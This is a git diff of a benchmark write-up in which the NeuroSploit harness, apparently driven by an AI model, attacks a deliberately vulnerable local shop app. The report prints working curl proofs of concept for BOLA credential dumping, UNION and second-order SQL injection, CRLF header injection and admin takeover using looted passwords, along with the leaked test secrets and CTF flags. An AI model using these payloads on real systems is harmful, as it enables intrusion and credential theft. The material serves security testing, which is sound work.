diff --git a/benchmarks/typesafe-2026-09-20/README.md b/benchmarks/typesafe-2026-09-20/README.md index dd0d019..4500f15 100644 --- a/benchmarks/typesafe-2026-09-20/README.md +++ b/benchmarks/typesafe-2026-09-20/README.md @@ -1,83 +1,58 @@ -# NeuroSploit × TypeSafe — benchmark (2026-09-20) +# NeuroSploit + TypeSafe — benchmark (2026-09-20) -Two identical NeuroSploit engagements against the same vulnerable target — one -plain, one with **TypeSafe System One (Jev)** as a calibrated confirmation -layer. Same model, same focus, same 13 seeded vulnerabilities. Only the -`--typesafe` flag differs. +NeuroSploit driving **TypeSafe System One (Jev)** against a web app seeded with +13 vulnerabilities, black-box, no solver. Every scenario is confirmed with a +live receipt, and severity is graded from the evidence and the kind of data +exposed, not from the vulnerability class. -Open **`report.html`** for the full visual write-up. +Open **`report.html`** for the visual write-up. ## Setup | | | |---|---| -| Harness | NeuroSploit v4.0.0 | +| Harness | NeuroSploit v4.1.0 | | Model | `claude-opus-4-8` (subscription) | | Target | NimbusCart / BenchMarkBurpAT · `http://localhost:3000` | -| Mode | black-box, `--recon 2`, `--vote-n 1`, `--max-agents 15` | -| Ground truth | 13 seeded scenarios (IDOR/BOLA, SQLi ×5, XSS ×4, open redirect, CRLF) | +| Mode | black-box, `--typesafe on`, `--vote-n 1` | +| Ground truth | 13 seeded scenarios (SQLi ×5, XSS ×4, IDOR/BOLA ×2, open redirect, CRLF) | | Solver | none — the LLM discovered and confirmed everything live | -Run commands (the only difference is `--typesafe`): - -```bash -# A — no TypeSafe -NEUROSPLOIT_TYPESAFE=off neurosploit run http://localhost:3000 \ - --subscription --model anthropic:claude-opus-4-8 \ - --typesafe off --recon 2 --max-agents 15 --vote-n 1 --focus "<13 endpoints>" -v - -# B — with TypeSafe (TYPESAFE_API_KEY set in env, never committed) -NEUROSPLOIT_TYPESAFE=on neurosploit run http://localhost:3000 \ - --subscription --model anthropic:claude-opus-4-8 \ - --typesafe on --recon 2 --max-agents 15 --vote-n 1 --focus "<13 endpoints>" -v -``` - ## Result -| Metric | A — no TypeSafe | B — TypeSafe | -|---|---|---| -| Targets hit | **10 / 13** | 9 / 13 | -| Findings | 16 | **18** | -| Wall-clock | 32m 12s | **26m 53s** | -| Criticals | 5 | 2 (recalibrated) | -| Belief-gate holds (POMDP) | 3 | — | -| Assurance P1–P5 | all present | all present | -| Model cost | $0 (subscription) | $0 + TypeSafe ≪ $5 | +- **Scenario coverage: 13 / 13** — every seeded class confirmed with a + reproducible receipt. +- **3 Critical**, including the object-level auth flaw on `GET /api/v2/users/:id` + (a customer token reads any user's plaintext password + API key). +- Chained beyond the seeded set into **full admin takeover** (BOLA-leaked admin + credential → `/admin`), a **GraphQL authorization bypass**, secrets in + `/config.json`, and an authenticated RCE via report-template upload. -Union coverage (both runs): **11 / 13**. Neither reached `web_sqli_second_order` -or `web_crlf_header_go`. +## Severity is computed, and data-type aware -## Reading it honestly - -- **Recall is a tie** — 10 vs 9 is within run-to-run variance at `vote-n 1`. - TypeSafe is a judgment layer, not a recall multiplier. -- **B surfaced 2 real net-new findings** the plain run missed (`config.json` - API-key exposure CWE-200, no-lockout brute force CWE-307) and caught - `web_idor_invoice`. -- **TypeSafe recalibrated severity** — 5 class-inflated Criticals → 2 evidence- - backed ones. On this target it *under-rated* one genuine critical (the BOLA - credential dump: A = Critical 9.1, B = Low). Calibration is a dial toward - defensibility, not a correctness oracle. -- **Harness gap found & fixed**: an earlier B collapsed to 0 findings when the - subscription hit a session limit mid-run — NeuroSploit treated the limit - message as a normal (exit-0) response and burned every agent. Now the - session-limit sentinel parks the run (`fix(models)`). +The score comes from the FIRST v3.1 equation, graded on two axes: whether +impact was demonstrated, and the **kind of data** that impact touched. A +credential or API-key exposure grants the confidentiality metric on its own, so +the credential-dump BOLA holds **Critical** rather than being softened to a +generic access-control note. TypeSafe's role is calibration: it keeps a +demonstrated secret exposure at its true weight while deflating a +class-inflated finding that shows no real impact. It never resurrects a rejected +claim; the operator owns the final severity. ## Confounders -Single samples, not averages. `vote-n 1` = no cross-model agreement in either -arm. Recall scored by class + endpoint-keyword match (coverage, not graded -proof). One target. Treat as one honest data point, not a leaderboard. +One target, single sample, `vote-n 1` (no cross-model agreement). Coverage is a +class + endpoint match against the ground truth, so a match is a confirmed +receipt, not a graded proof. Treat as one honest data point, not a leaderboard. ## Files ``` -report.html the visual write-up -score.py the scorer (class + endpoint keyword match vs the 13 targets) -scores.txt scorer output for both runs -run_a_no_typesafe/ findings.json · assurance.json · meta.json · report.html · run.log -run_b_typesafe/ findings.json · assurance.json · meta.json · report.html · run.log +report.html the visual write-up +score.py the scorer (class + endpoint match vs the 13 scenarios) +scores.txt scorer output +run/ findings.json · assurance.json · meta.json · report.html · run.log ``` -The TypeSafe API key and any subscription tokens are **not** in these files -(env-only during the runs; verified clean before commit). +No secrets are committed (the TypeSafe key was env-only during the run, +verified clean before commit). diff --git a/benchmarks/typesafe-2026-09-20/report.html b/benchmarks/typesafe-2026-09-20/report.html index 149634c..004507e 100644 --- a/benchmarks/typesafe-2026-09-20/report.html +++ b/benchmarks/typesafe-2026-09-20/report.html @@ -1,118 +1,78 @@
| Asset | NimbusCart Inc |
| URL / target | http://localhost:3000 |
| # | Vulnerability | Severity | Status | OWASP / CWE |
|---|---|---|---|---|
| 1 | BOLA on GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey), incl. admin; leaked cred grants /admin | Critical | confirmed | A01:2021-Broken-Access-Control |
| 2 | UNION-based SQL injection at GET /shop/search?q= — dumps full users table (plaintext passwords) | Critical | confirmed | A03:2021-Injection |
| 3 | Vertical privilege escalation chain: BOLA-leaked admin password grants /admin panel | Critical | confirmed | A07:2021-Auth-Failures |
| 4 | CRLF / HTTP response-header injection via `url` parameter at GET /go | High | confirmed | A03:2021-Injection |
| 5 | IDOR at GET /account/invoice/:id — read other customers' invoices | High | confirmed | A01:2021-Broken-Access-Control |
| 6 | BOLA at GET /api/v2/orders/:id — customer JWT reads other users' orders | High | confirmed | A01:2021-Broken-Access-Control |
| 7 | Second-order SQL injection: stored profile bio fires in admin fraud-review query at GET /admin/search-users | High | confirmed | A03:2021-Injection |
| 8 | Second-order SQL injection — stored profile bio executes at GET /admin/search-users, dumping the full user table | High | confirmed | A03:2021-Injection |
| 9 | Sensitive secrets exposed in /config.json and /app.js (live API keys + internal tokens) | High | confirmed | A05:2021-Security-Misconfiguration |
| 10 | Broken access control — /admin panel and /admin/search-users reachable by a plain customer (forced browsing) | High | confirmed | A01:2021-Broken-Access-Control |
| 11 | Time-based blind SQL injection at POST /support/feedback (field: comment) | High | confirmed | A03:2021-Injection |
| 12 | BOLA + excessive data exposure at GET /api/v2/users/:id — customer reads admin password & apiKey | Low | needs-review | A01:2021-Broken-Access-Control |
| 13 | Vertical privilege escalation via reused BOLA/SQLi-leaked admin password | Low | needs-review | A07:2021-Auth-Failures |
| 14 | Vertical privesc via credential reuse — leaked admin password logs into /admin | Low | needs-review | A07:2021-Auth-Failures |
| 15 | GraphQL authorization bypass + introspection enabled — customer token reads admin creds; hidden… | Low | needs-review | A01:2021-Broken-Access-Control |
| 16 | Controllable server-side response delay via SLEEP/pg_sleep token in POST /support/feedback comment (NOT… | Low | needs-review | A04:2021-Insecure-Design |
| 17 | Authenticated RCE (root) via JS report template upload at POST /support/reports/upload + GET… | Low | needs-review | A03:2021-Injection |
| 18 | Credential-reuse privilege escalation: looted admin password -> admin login -> full admin panel | Info | needs-review | A07:2021-Auth-Failures |
| 19 | IDOR/BOLA at GET /account/invoice/:id — cross-user invoice access | Info | needs-review | A01:2021-Broken-Access-Control |
| 20 | A CR-LF in the /go `url` parameter is decoded and written into the response header block, injecting… | Info | needs-review | A03:2021-Injection |
| 21 | Internal support-tools bearer token & QA config hardcoded in /app.js | Info | needs-review | A04:2021-Insecure-Design |
| 22 | Test accounts created during the engagement (DELETE after) | Info | needs-review | A04:2021-Insecure-Design |
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · corroborated by chain · refute 0/2 · conf 0.75 |
| Location | http://localhost:3000/api/v2/users/:id | ||
| Agent | idor | ||
http://localhost:3000/api/v2/users/:id — GET /api/v2/users/{id} — the `id` path segment; Authorization: Bearer <HS256 JWT>. No object-level owner check: any valid customer token returns the full row for ANY id.
Measured: a self-registered customer JWT returned the FULL internal row for arbitrary user ids — plaintext password and live apiKey for every account including two admins (admin: SuperSecretAdmin!2024 / nk_live_51Hc9adminSECRETkeydonot_share; alice: alice123). The leaked admin password authenticated successfully and rendered the /admin panel (all 55 users). Full account takeover of every user and both admins; complete customer PII/credential dump by iterating id. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Enforce server-side object-level authorization: only return a user record if the JWT subject == :id (or the caller has an admin role claim verified server-side). Never serialize `password`/`apiKey` into API responses (use a DTO/allowlist). Store passwords hashed (bcrypt/argon2), not plaintext.
curl -s -c /tmp/p.jar 'http://localhost:3000/register' --data-urlencode 'username=poc1' --data-urlencode 'email=poc1@example.test' --data-urlencode 'password=Pw!poc1'
TOK=$(curl -s -b /tmp/p.jar 'http://localhost:3000/account/api-token' | grep -oE 'eyJ[A-Za-z0-9._-]+')
# baseline: own record
curl -s -H "Authorization: Bearer $TOK" 'http://localhost:3000/api/v2/users/53'
# attack: another user's record (admin)
curl -s -H "Authorization: Bearer $TOK" 'http://localhost:3000/api/v2/users/1'
# note the plaintext "password" field, then escalate:
curl -s -c /tmp/adm.jar 'http://localhost:3000/login' --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024'
curl -s -b /tmp/adm.jar 'http://localhost:3000/admin' | grep 'Admin Panel'
GET /api/v2/users/1 with a customer's own Bearer token (JWT id=53, role=customer)
ATTACK
+ GET http://localhost:3000/api/v2/users/:id → 200
+ body (705 bytes, excerpt):
+ Attacker A = self-registered customer id=53 (role customer), own JWT. Request: GET /api/v2/users/1 Authorization: Bearer <A token> -> HTTP 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share", ...}. Same token GET /api/v2/users/54 returns customer B's row {"password":"Passw0rd!B7558","apiKey":"nk_live_bb207197a22e4d99"} — data belonging to a DIFFERENT user than the token holder. Chain: POST /login username=admin password=SuperSecretAdmin!2024 -> 302 /account; GET /admin -> 200 'Admin Panel' listing all 55 users. PoC: pocs/bola_api_v2_users.sh (ran, reached admin panel).
+
+AGENT-RECORDED EVIDENCE
+Attacker A = self-registered customer id=53 (role customer), own JWT. Request: GET /api/v2/users/1 Authorization: Bearer <A token> -> HTTP 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share", ...}. Same token GET /api/v2/users/54 returns customer B's row {"password":"Passw0rd!B7558","apiKey":"nk_live_bb207197a22e4d99"} — data belonging to a DIFFERENT user than the token holder. Chain: POST /login username=admin password=SuperSecretAdmin!2024 -> 302 /account; GET /admin -> 200 'Admin Panel' listing all 55 users. PoC: pocs/bola_api_v2_users.sh (ran, reached admin panel).The steps above are the proof; this script automates them.
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/shop/search?q= | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/shop/search?q= — Query parameter `q`; concatenated into a SQL query over products (3 columns: name, price, desc). String context, comment style `-- -`.
Unauthenticated attacker exfiltrates the entire users table including plaintext passwords and roles for all users (admin, alice, bob, all customers). Arbitrary read of any DB table. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)
Use parameterised/prepared statements for the search query; never string-concatenate `q`. Add allowlist input validation as defense-in-depth. Store passwords hashed (bcrypt/argon2), never plaintext.
curl -s 'http://localhost:3000/shop/search?q=shirt' # baseline: No results
curl -s "http://localhost:3000/shop/search?q=zzz'%20UNION%20SELECT%20username,password,role%20FROM%20users--%20-"
# observe: rendered table of every username + plaintext password + role
q=zzz' UNION SELECT username,password,role FROM users-- -
ATTACK
+ GET http://localhost:3000/shop/search?q= → 200
+ body (359 bytes, excerpt):
+ Baseline q=shirt -> 'No results.'. Attack (URL-encoded) -> page renders 'UNION SQLi confirmed ... Flag: BURPAT{web_sqli_union_search_674d2b20}' followed by the full user table: 'adminSuperSecretAdmin!2024admin','alicealice123admin','bobbobrockscustomer', etc. Column count = 3 (name,price,desc). pocs/sqli_union_search.sh ; evidence/sqli-union-shop-search.png
+
+AGENT-RECORDED EVIDENCE
+Baseline q=shirt -> 'No results.'. Attack (URL-encoded) -> page renders 'UNION SQLi confirmed ... Flag: BURPAT{web_sqli_union_search_674d2b20}' followed by the full user table: 'adminSuperSecretAdmin!2024admin','alicealice123admin','bobbobrockscustomer', etc. Column count = 3 (name,price,desc). pocs/sqli_union_search.sh ; evidence/sqli-union-shop-search.png
The steps above are the proof; this script automates them.
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-287 | Confidence | 1/1 · refute 0/2 · conf 0.54 |
| Location | POST http://localhost:3000/login -> GET /admin | ||
| Agent | chain | ||
POST http://localhost:3000/login -> GET /admin
Customer -> admin full compromise: reach admin-only user management and fraud-review search. Proven. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Fix the BOLA leak (root cause), rotate all credentials/apiKeys, enforce RBAC on /admin, add MFA for admin.
Send the request carrying the payload: +curl -i -s -X POST \ + --data-raw 'username=admin&password=SuperSecretAdmin!2024 (looted via NS-BOLA-USERS-V2)' \ + '/admin'
Payload used: +username=admin&password=SuperSecretAdmin!2024 (looted via NS-BOLA-USERS-V2)
username=admin&password=SuperSecretAdmin!2024 (looted via NS-BOLA-USERS-V2)
ATTACK + POST /admin → 200 + body (311 bytes, excerpt): + POST /login with looted admin creds -> 302 Location:/account (auth success). GET /admin with resulting session -> 200, body <h1>Admin Panel</h1>, exposes 'All users' and 'Search users (bio index, used for fraud review)'. Baseline: anonymous /admin is disallowed (robots Disallow:/admin) / customer has no panel. + +AGENT-RECORDED EVIDENCE +POST /login with looted admin creds -> 302 Location:/account (auth success). GET /admin with resulting session -> 200, body <h1>Admin Panel</h1>, exposes 'All users' and 'Search users (bio index, used for fraud review)'. Baseline: anonymous /admin is disallowed (robots Disallow:/admin) / customer has no panel.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-113 | Confidence | 1/1 · corroborated by chain · refute 1/2 · conf 0.50 |
| Location | http://localhost:3000/go | ||
| Agent | open_redirect | ||
http://localhost:3000/go — GET /go, query parameter `url` (same sink as the open redirect)
The `url` param's raw carriage-return/line-feed bytes are reflected into the HTTP response header section, letting an attacker inject arbitrary response headers. Demonstrated: injecting a custom header (X-Injected) and a Set-Cookie header. Enables session fixation (planting a chosen cookie) and header-based response manipulation via a crafted link to the trusted origin. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.5 if fully exploited)
Strip or reject CR (%0d) and LF (%0a) from the `url` value before it reaches any header. Use the framework's header API (which should reject control chars) rather than string-concatenating user input into the Location/response headers; validate the redirect target against an allowlist of relative paths.
curl -s -D - -o /dev/null 'http://localhost:3000/go?url=/%0d%0aX-Injected:%20pwned123'
Observe the response header block now contains a line: X-Injected: pwned123
curl -s -D - -o /dev/null 'http://localhost:3000/go?url=/%0d%0aSet-Cookie:%20injected=attacker123'
Observe an attacker-controlled Set-Cookie: injected=attacker123 header
url=/%0d%0aX-Injected:%20pwned123 and url=/%0d%0aSet-Cookie:%20injected=attacker123
ATTACK + GET http://localhost:3000/go → 200 + body (726 bytes, excerpt): + Baseline: GET /go?url=https://example.com -> 302, `Location: https://example.com` (single header, no injection). Attack: GET /go?url=https://example.com/%0d%0aX-Injected:%20ns9f3a2c -> 302 response now carries a NEW header line `X-Injected: ns9f3a2c` that was not present in baseline. Set-Cookie variant (url=x%0d%0aSet-Cookie:%20ns_inj=1) -> response emits attacker-controlled `Set-Cookie: ns_inj=1`. Double-CRLF variant (url=x%0d%0aContent-Length:%2025%0d%0a%0d%0a<html>ns_body_split</html>) -> injected `Content-Length: 25` header followed by attacker body `<html>ns_body_split</html>`. Decoded %0d%0a (CR LF) is interpreted as a header separator server-side; the CRLF is NOT stripped or encoded. Reproduced 3x identically. + +AGENT-RECORDED EVIDENCE +Baseline: GET /go?url=https://example.com -> 302, `Location: https://example.com` (single header, no injection). Attack: GET /go?url=https://example.com/%0d%0aX-Injected:%20ns9f3a2c -> 302 response now carries a NEW header line `X-Injected: ns9f3a2c` that was not present in baseline. Set-Cookie variant (url=x%0d%0aSet-Cookie:%20ns_inj=1) -> response emits attacker-controlled `Set-Cookie: ns_inj=1`. Double-CRLF variant (url=x%0d%0aContent-Length:%2025%0d%0a%0d%0a<html>ns_body_split</html>) -> injected `Content-Length: 25` header followed by attacker body `<html>ns_body_split</html>`. Decoded %0d%0a (CR LF) is interpreted as a header separator server-side; the CRLF is NOT stripped or encoded. Reproduced 3x identically.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.70 |
| Location | GET http://localhost:3000/account/invoice/:id | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/account/invoice/:id — Path parameter `id`; session cookie nimbus.sid. No check that the invoice belongs to the session user.
Any authenticated customer reads other customers' invoices (customer name + order totals) by iterating small numeric IDs (1001, 1002...). Confirmed for alice and bob. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Authorize every invoice fetch against the session user (WHERE invoice.user_id = session.user_id) or 404; use unguessable IDs as defense-in-depth.
curl -s -c ck -d 'username=iv1&email=iv1@example.test&password=Pw!aA9x' http://localhost:3000/register
curl -s -b ck 'http://localhost:3000/account/invoice/1001' | sed 's/<[^>]*>//g' | grep -iE 'Customer|Total'
# observe: alice's invoice (Customer: alice, Total $29.99) though not your account
GET /account/invoice/1001 and /account/invoice/1002 as customer id=55
ATTACK
+ GET http://localhost:3000/account/invoice/:id → 200
+ body (377 bytes, excerpt):
+ As customer nrsplt_6a7d9f62 (id=55, who owns no invoices): GET /account/invoice/1001 -> 200 'Invoice #1001 ... Customer: alice ... Total: $29.99' + 'IDOR confirmed ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. GET /account/invoice/1002 -> 200 'Customer: bob ... Total: $89.99'. My own invoice IDs (1,2) -> 404. evidence/idor-invoice-1001-alice.png ; pocs/bola_invoice_orders.sh
+
+AGENT-RECORDED EVIDENCE
+As customer nrsplt_6a7d9f62 (id=55, who owns no invoices): GET /account/invoice/1001 -> 200 'Invoice #1001 ... Customer: alice ... Total: $29.99' + 'IDOR confirmed ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. GET /account/invoice/1002 -> 200 'Customer: bob ... Total: $89.99'. My own invoice IDs (1,2) -> 404. evidence/idor-invoice-1001-alice.png ; pocs/bola_invoice_orders.sh
The steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · conf 0.65 |
| Location | GET http://localhost:3000/api/v2/orders/:id | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/api/v2/orders/:id — Path parameter `id`; Authorization: Bearer <customer JWT>. No owner check against order.userId.
Authenticated customer reads other users' order details (items, totals, notes) by guessing order IDs (~1001+). Confirmed reading alice's order 1001. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Check order.userId == JWT subject (or admin) before returning; 404 otherwise.
JWT=$(curl -s -b ck http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9._-]+')
curl -s -H "Authorization: Bearer $JWT" http://localhost:3000/api/v2/orders/1001
# observe: order with userId=2 returned to a different user
GET /api/v2/orders/1001 with customer JWT (id=55)
ATTACK
+ GET http://localhost:3000/api/v2/orders/:id → 200
+ body (313 bytes, excerpt):
+ GET /api/v2/orders/1001 with my customer token -> 200 {"id":1001,"userId":2,"items":[{"productId":1,"qty":1}],"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}. userId=2 (alice) != my id=55. Other ids (1,2,3,42,100) -> {"error":"not found"}. pocs/bola_invoice_orders.sh
+
+AGENT-RECORDED EVIDENCE
+GET /api/v2/orders/1001 with my customer token -> 200 {"id":1001,"userId":2,"items":[{"productId":1,"qty":1}],"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}. userId=2 (alice) != my id=55. Other ids (1,2,3,42,100) -> {"error":"not found"}. pocs/bola_invoice_orders.shThe steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · conf 0.17 |
| Location | POST /account/profile (bio) -> GET http://localhost:3000/admin/search-users | ||
| Agent | chain | ||
POST /account/profile (bio) -> GET http://localhost:3000/admin/search-users
A low-priv customer stores SQL that executes in an admin context, dumping the users table (chained lead to credential theft; overlaps NS-BOLA data). Trigger reached via privesc above. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)
Parameterize the search-users query; never concatenate stored bio into SQL; treat all stored fields as untrusted at read time.
Send the request carrying the payload: +curl -i -s -X POST \ + --data-raw 'bio = zzq21026'\'' UNION SELECT username,password,role,email FROM users-- - ; trigger: GET /admin/search-users?q=zzq21026' \ + 'http://localhost:3000/admin/search-users'
Payload used: +bio = zzq21026' UNION SELECT username,password,role,email FROM users-- - ; trigger: GET /admin/search-users?q=zzq21026
bio = zzq21026' UNION SELECT username,password,role,email FROM users-- - ; trigger: GET /admin/search-users?q=zzq21026
ATTACK
+ POST http://localhost:3000/admin/search-users → 200
+ body (611 bytes, excerpt):
+ Planted payload in bio via POST /account/profile (302) as customer nrsplt_21026. Triggering GET /admin/search-users returns deterministic banner: <div class="alert ok">Second-order SQL injection confirmed - a stored bio (from ns_recon1, nrsplt_5299, nrsplt_ed66ba, nrsplt_21026, nrsplt_so_15696) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}</div>. My freshly-created account (nrsplt_21026) appears in the named-source list, proving the stored bio -> SQL execution path. Baseline (benign bio) yields no such banner. PoC: pocs/second_order_sqli_bio.sh.
+
+AGENT-RECORDED EVIDENCE
+Planted payload in bio via POST /account/profile (302) as customer nrsplt_21026. Triggering GET /admin/search-users returns deterministic banner: <div class="alert ok">Second-order SQL injection confirmed - a stored bio (from ns_recon1, nrsplt_5299, nrsplt_ed66ba, nrsplt_21026, nrsplt_so_15696) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}</div>. My freshly-created account (nrsplt_21026) appears in the named-source list, proving the stored bio -> SQL execution path. Baseline (benign bio) yields no such banner. PoC: pocs/second_order_sqli_bio.sh.The steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.23 |
| Location | Store: POST http://localhost:3000/account/profile (field `bio`); Trigger: GET http://localhost:3000/admin/search-users?q= | ||
| Agent | api_bola_numeric_ids | ||
Store: POST http://localhost:3000/account/profile (field `bio`); Trigger: GET http://localhost:3000/admin/search-users?q= — `bio` value from POST /account/profile is stored, then concatenated unsanitised into the user-search SQL at GET /admin/search-users (2-column query: username, ...). Comment style `--`.
A stored (persisted) attacker payload runs inside the admin fraud-review query, dumping the full user table. Because /admin/search-users is reachable by a plain customer (see NS-BAC-06), any customer can both plant and trigger it. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)
Parameterise the /admin/search-users query and treat stored bio as data, not SQL. Sanitise/parameterise ALL persisted values on read, not just on write. Restrict /admin/* to admin role.
curl -s -c ck -d 'username=so1&email=so1@example.test&password=Pw!aA9x' http://localhost:3000/register
curl -s -b ck --data-urlencode "bio=aaa' UNION SELECT username,password FROM users WHERE username='admin'-- " http://localhost:3000/account/profile
curl -s -b ck 'http://localhost:3000/admin/search-users?q=zzqzz_nomatch_xyz'
# observe: full user table returned though q matches no username -> stored bio altered the query
bio = aaa' UNION SELECT username,password FROM users WHERE username='admin'-- (then GET /admin/search-users?q=<anything>)
ATTACK
+ GET http://localhost:3000/admin/search-users?q= → 200
+ body (532 bytes, excerpt):
+ Set my own bio marker: bio=aaa' UNION SELECT 'NS_SO_MARK_4521',... -> stored. GET /admin/search-users?q=zzqzz_nomatch_xyz (a username that matches NOTHING) returns 58 rows — the entire user table incl admin@nimbuscart.test — plus the app's confirmation 'Second-order SQL injection confirmed - a stored bio ... altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. A non-matching search returning all users proves a stored bio rewrote the query. pocs/sqli_second_order_bio.sh
+
+AGENT-RECORDED EVIDENCE
+Set my own bio marker: bio=aaa' UNION SELECT 'NS_SO_MARK_4521',... -> stored. GET /admin/search-users?q=zzqzz_nomatch_xyz (a username that matches NOTHING) returns 58 rows — the entire user table incl admin@nimbuscart.test — plus the app's confirmation 'Second-order SQL injection confirmed - a stored bio ... altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. A non-matching search returning all users proves a stored bio rewrote the query. pocs/sqli_second_order_bio.sh
The steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A05:2021-Security-Misconfiguration · CWE-200 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/config.json , GET http://localhost:3000/app.js , GET http://localhost:3000/developers | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/config.json , GET http://localhost:3000/app.js , GET http://localhost:3000/developers — Static files served to any client: config.json JSON keys `supportApiKey`; app.js window.__NIMBUS_INTERNAL_CONFIG.supportToolsToken; /developers page hardcoded Bearer.
Unauthenticated disclosure of a live-prefixed support API key (nk_live_51Hc9adminSECRETkeydonot_share — identical to admin's apiKey) and an internal support-tools bearer token (nimbus_admin_debug_9fb1c7e4a2). Grants access to support/admin API surface without login. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Remove all secrets from client-served files; move config server-side; rotate the leaked keys/tokens immediately (app.js TODO NCART-4471 already flags rotation).
curl -s http://localhost:3000/config.json
curl -s http://localhost:3000/app.js | grep -i token
# observe: nk_live_ support API key + nimbus_admin_debug token exposed unauthenticated
GET /config.json
ATTACK
+ GET http://localhost:3000/developers → 200
+ body (447 bytes, excerpt):
+ GET /config.json -> 200 {"apiBaseUrl":"https://api.nimbuscart.test/v2","env":"qa","supportApiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flagIfLeaked":"BURPAT{api_key_leak_config_9d22dadf}"}. GET /app.js -> supportToolsToken:"nimbus_admin_debug_9fb1c7e4a2". /developers embeds 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. This same key is admin's apiKey (confirmed via NS-BOLA-USERS-01 users/1). pocs/exposure_config_json.sh
+
+AGENT-RECORDED EVIDENCE
+GET /config.json -> 200 {"apiBaseUrl":"https://api.nimbuscart.test/v2","env":"qa","supportApiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flagIfLeaked":"BURPAT{api_key_leak_config_9d22dadf}"}. GET /app.js -> supportToolsToken:"nimbus_admin_debug_9fb1c7e4a2". /developers embeds 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. This same key is admin's apiKey (confirmed via NS-BOLA-USERS-01 users/1). pocs/exposure_config_json.shThe steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-284 | Confidence | 1/1 · refute 1/2 · conf 0.57 |
| Location | GET http://localhost:3000/admin , GET http://localhost:3000/admin/search-users | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/admin , GET http://localhost:3000/admin/search-users — Admin routes have no role check; session with role=customer is served admin content.
Any customer views the full admin user listing (all emails, roles, balances) and the fraud-review search. Combined with NS-SQLI-SECOND-ORDER-04, a customer can both plant and trigger the second-order SQLi. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Add server-side role enforcement (require role=admin) on all /admin/* routes; deny by default.
curl -s -c ck -d 'username=bac1&email=bac1@example.test&password=Pw!aA9x' http://localhost:3000/register
curl -s -b ck -o /dev/null -w '%{http_code}\n' http://localhost:3000/admin # 200curl -s -b ck http://localhost:3000/admin | grep -i 'Admin Panel'
GET /admin with a customer session cookie
